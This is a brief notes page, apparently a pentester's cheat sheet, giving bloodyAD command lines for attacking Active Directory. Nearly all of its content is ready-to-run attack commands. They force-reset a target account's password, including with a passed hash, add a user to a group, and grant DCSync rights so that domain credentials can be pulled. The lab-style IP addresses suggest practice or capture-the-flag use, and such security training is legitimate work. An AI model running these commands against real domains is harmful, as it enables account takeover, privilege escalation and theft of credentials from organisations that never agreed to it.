> For the complete documentation index, see [llms.txt](https://notes.dado1513.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dado1513.dev/tools/bloodyad.md).

# bloodyAD

## bloodyAD

### set password

```bash
bloodyAD --host 10.10.11.42 -d domain.local -u 'attacker' -p '12345678' set password "target" "12345678"
```

```bash
bloodyAD --host 10.10.11.42 -d domain.local -u 'attacker' -p ':HASH' set password "target" "12345678"
```

### add group member

```bash
bloodyAD --host "10.10.11.41" -d "DOMAIN.LOCAL" -u "user" -p "password" add groupMember 'CN=GROUP,CN=USERS,DC=DOMAIN,DC=LOCAL' "user"
```

### add dcsync to user

```bash
bloodyAD --host 10.10.10.161 -u user -p 'password' -d domain add dcsync 'user-target'
```

* <https://github.com/CravateRouge/bloodyAD>
* <https://github.com/CravateRouge/autobloody>